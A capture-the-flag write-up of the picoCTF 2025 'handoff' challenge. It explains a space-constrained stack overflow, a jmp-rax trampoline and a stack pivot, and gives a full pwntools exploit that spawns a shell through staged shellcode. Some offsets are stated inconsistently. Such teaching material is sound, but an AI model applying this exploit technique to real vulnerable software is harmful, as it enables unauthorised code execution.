Space-Constrained Buffer Overflow: Mastering the Stack Pivot Technique
Challenge Info:
- Platform: picoCTF 2025 - Handoff
- Author: SKRUBLAWD
- Category: Binary Exploitation
- Difficulty: Hard
- Techniques: Stack Pivoting, Ret2Reg, Shellcode Staging
Challenge Connection:
nc shape-facility.picoctf.net 63493

Understanding the Challenge
The handoff challenge presents a classic "space-constrained" buffer overflow scenario, a common situation in binary exploitation where the vulnerability window is too small to fit a full payload. In this specific case, you have identified a vulnerability that allows for arbitrary code execution by overwriting the return address. However, the physical space available on the stack to inject your malicious code (shellcode) is severely limited—far too small to fit a standard payload like /bin/sh or a reverse shell.
To solve this, we must employ a technique often called a "Handoff" or Stack Pivot. This strategy involves a two-stage attack:
- Stage The Payload: We place our large, complex shellcode in a safe, spacious area of memory that we control, even if that area isn't the one causing the crash.
- Execute The Pivot: We use the tiny vulnerable area to run a small "stager" (a minimal piece of assembly code) whose only job is to point the CPU to the large shellcode.
Reconnaissance and Analysis
Source Code Vulnerability
The program simulates a simple messaging service where users can add recipients and send messages. By analyzing the source, we can identify how data is stored and where the flaw lies.
typedef struct entry {
char name[8];
char msg[64]; // <--- This is a nice large buffer!
} entry_t;
// ...
int vuln() {
char feedback[8]; // [1] Tiny buffer allocated on the stack
entry_t entries[10]; // [2] Large storage array also on the stack
// ...
// Option 3: Exit
else if (choice == 3) {
puts("...write a quick review...");
// [3] VULNERABILITY: Reads 32 bytes into an 8-byte buffer
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
}
The entry_t structure is critical here. It provides a msg buffer of 64 bytes. Since the vuln function allows us to write to this buffer essentially arbitrarily (via Option 2 in the menu), we have a designated "safe zone" to store our heavy payload.
Security Protections Assessment
Before writing an exploit, we must understand the environment constraints by checking the binary protections:
- Arch: amd64 (64-bit). This determines our register names (
rax,rsp,rip) and calling conventions. - NX (No-Execute): Disabled. This is a critical weakness. It means the stack memory regions are marked as executable (RWX). If we can redirect the Instruction Pointer (RIP) to any address on the stack, the CPU will execute the bytes found there as code.
- PIE (Position Independent Executable): Disabled. The binary code is loaded at fixed, static addresses (e.g.,
0x400000). This is useful for finding "gadgets" (executable code fragments) at known locations. - ASLR: Enabled (System level). While the binary code is static, the stack address itself will be randomized every time the program runs. We cannot hardcode a jump to an address like
0x7fffffffe000because the stack won't be there next time.
The Vulnerability Details
The core vulnerability resides in Option 3, the exit routine.
- Buffer:
feedbackis declared aschar feedback. - Input: The
fgetsfunction readsNAME_LENbytes. In the header (not shown),NAME_LENis defined as 32. - Overflow Calculation: Writing 32 bytes into an 8-byte buffer results in an overflow of 24 bytes ($32 - 8 = 24$).
This overflow allows us to corrupt the stack frame of the vuln function. Specifically, we can overwrite:
- The
feedbackbuffer itself (8 bytes). - The compiler padding and Saved Base Pointer (RBP) (variable size, usually 8-16 bytes).
- The Return Address (RIP).

The Space Constraint Problem
A standard x64 execve("/bin/sh") shellcode is roughly 27 to 48 bytes depending on the specific assembly used.
We only have ~24 bytes of overflow space. Furthermore, the last 8 bytes of that space must be used to overwrite the Return Address to control execution. This leaves us with effectively 16 bytes or less of usable space for executable code inside the feedback buffer.
If we try to stuff the full shellcode into feedback, the end of the shellcode will be cut off, or we won't have room to include the return address overwrite. The program would likely crash (SEGFAULT) without giving us a shell.
The Exploitation Strategy
Since we can't fit the shellcode in the vulnerable buffer (feedback), we will use the safe buffer (entries). This creates a "Handoff" where the small vulnerability sets up the environment for the larger payload.
Two-Stage Attack Flow
- Stage 1 (The Payload): Use Option 2 (Send Message) to write our large shellcode into
entries.msg. This buffer is 64 bytes—plenty of space for a robust shellcode and a NOP sled. At this point, the code is on the stack, but the CPU has no instruction to execute it. - Stage 2 (The Stager): Use Option 3 (Exit) to overflow
feedback. Instead of a full shell, we inject a tiny "stager" (a small chunk of assembly) that fits in the small buffer. Its only job is to calculate the address of the Stage 1 payload and jump there.
Bypassing ASLR with JMP RAX
Because ASLR is enabled, we don't know the exact address of feedback or entries at runtime. We need a relative way to jump to the stack.
The jmp rax Gadget
We can abuse a standard behavior of the fgets function and the x64 calling convention:
fgets(char *dest, int n, FILE *stream)returns a pointer todeston success.- In the x64 System V AMD64 ABI (used by Linux), return values are stored in the RAX register.
- This means immediately after
fgetsfinishes, RAX holds the exact memory address of thefeedbackbuffer.
By overwriting the Return Address with the address of a jmp rax instruction (which acts as a "trampoline" or "gadget"), we force the CPU to jump to the address stored in RAX. This effectively lands execution right at the start of our feedback buffer, bypassing the need to leak a stack address.
Memory Layout and Stack Pivot
To understand the specific assembly instructions we need for the stager, we must visualize the stack layout at the moment of the crash.
Key Concept: In x64 Linux, the stack grows downward (from High addresses to Low addresses). Conversely, buffers are written from Low to High.
- High Memory (Bottom of the stack frame): This is where the Return Address and saved registers are pushed when a function is called.
- Low Memory (Top of the stack frame): This is where local variables (like
entriesandfeedback) are allocated.
In vuln(), the memory looks roughly like this (addresses are relative examples to visualize distance):
| Relative Stack Location | Variable Name | Content |
|---|---|---|
Low Address (e.g., 0x...000) | entries | [ SHELLCODE HERE ] |
| ... | ... | ... |
Higher Address (e.g.,0x...2e8) | feedback | [ STAGER HERE ] |
| ... | Saved RBP | (Overwritten with Padding) |
Highest Address (e.g., 0x...300) | Return Address | [ Address of jmp rax ] |

Execution Flow
When the ret instruction executes:
- The Stack Pointer (
RSP) is pointing at the Return Address. - The CPU pops the Return Address (which we changed to
jmp rax) and executes it. - The First Jump:
jmp raxexecutes. Since RAX points tofeedback, the instruction pointer (RIP) jumps to the start offeedback. - The Stager Runs: The CPU begins executing our tiny stager code.
Calculating the Offset
We are currently executing code inside feedback. We need to run the shellcode located at entries.
Looking at the memory map above, entries is at a lower memory address than feedback.
To get the Stack Pointer (RSP) to point to our shellcode, we must subtract from it.
The offset 0x2e8 (744 bytes) is the precise distance between the location of the Return Address and the start of the entries array. This value is typically found by analyzing the binary in a debugger (like GDB) and measuring the distance between the crash point ($rsp) and the start of the inputs.
The Stager Assembly
We write this tiny assembly code into feedback. It fits easily within 10-15 bytes:
nop ; Safety padding (No Operation) to align instructions
sub rsp, 0x2e8 ; Arithmetic: Move Stack Pointer DOWN (subtract) to point at `entries`
jmp rsp ; The Pivot: Jump to the address RSP is now pointing to
Complete Exploit Implementation
Here is the complete attack logic visualized, followed by the full Python exploit using pwntools.

The Exploit Script
#!/usr/bin/env python3
from pwn import *
# Set the binary context
context.binary = binary = ELF("./handoff", checksec=False)
context.log_level = "info"
def solve():
# Start the process
p = process("./handoff")
# --- PHASE 1: PREPARATION ---
# 1. Get the address of a `jmp rax` gadget
# We use ROPgadget or ropper to find this. Since PIE is off, it's static.
# 0x0040116c: jmp rax;
jmp_rax = p64(0x0040116c)
# 2. Prepare the Main Shellcode (Stage 2)
# This is the code that actually gives us a shell.
# We will store this in the spacious `entries` array.
shellcode = asm(shellcraft.sh())
# Create a NOP sled. If our offset math is slightly off,
# the CPU will slide down the NOPs into the shellcode.
# The message buffer is 64 bytes.
nop_sled = asm("nop") * (64 - 1 - len(shellcode))
payload_stage2 = nop_sled + shellcode
# --- PHASE 2: PLACING THE PAYLOAD ---
log.info("Creating a recipient entry...")
# Select Option 1: Add recipient
p.sendlineafter(b"3. Exit the app", b"1")
p.sendlineafter(b"name:", b"Hacker")
log.info("Sending main shellcode to `entries` buffer...")
# Select Option 2: Send message
p.sendlineafter(b"3. Exit the app", b"2")
p.sendlineafter(b"message to?", b"0") # Index 0
p.sendlineafter(b"send them?", payload_stage2)
# --- PHASE 3: THE HANDOFF ---
log.info("Constructing the Stager...")
# This is the code that fits in the tiny `feedback` overflow.
# It moves the stack pointer to our shellcode and jumps there.
stager_asm = """
nop
sub rsp, 0x2e8
jmp rsp
"""
stager = asm(stager_asm)
# Construct the final overflow payload
# [ Stager Code ] + [ Padding ] + [ Return Address Overwrite ]
# We pad the stager to reach the offset of the return address (20 bytes)
# The buffer is 8 bytes, + alignment/saved registers padding = 20 bytes total distance
padding = asm("nop") * (20 - len(stager))
final_payload = stager + padding + jmp_rax
log.info("Triggering the overflow (The Handoff)...")
# Select Option 3: Exit
p.sendlineafter(b"3. Exit the app", b"3")
# Send the stager payload
p.sendline(final_payload)
# Enjoy the shell
p.interactive()
if __name__ == "__main__":
solve()
Key Takeaways
Exploitation Techniques
- Stack pivoting enables shellcode execution in constrained spaces
- Ret2Reg leverages function return values for control flow hijacking
- Two-stage attacks split payloads across memory regions
- ASLR bypass using function return values in registers
Attack Methodology
- Identify space constraints in vulnerable buffer
- Locate larger safe storage area (entries array)
- Find gadget to bridge vulnerable to safe area (jmp rax)
- Calculate precise offsets for stack pivot
- Execute two-stage payload delivery